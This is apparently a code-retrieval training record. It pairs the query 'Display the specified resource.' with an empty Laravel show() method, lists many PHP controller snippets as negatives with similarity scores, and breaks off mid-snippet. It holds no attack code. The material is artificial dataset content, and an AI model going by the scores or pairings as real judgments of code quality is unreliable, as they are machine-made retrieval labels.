[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72875285", "0.71454394", "0.71323526", "0.6639812", "0.6620611", "0.6568348", "0.6526527", "0.6509403", "0.64499927", "0.6375791", "0.63739914", "0.6365971", "0.6365971", "0.6365971", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667", "0.6342667" ]
0.0
-1
Display the specified resource.
public function show($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Show the form for editing the specified resource.
public function edit($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return 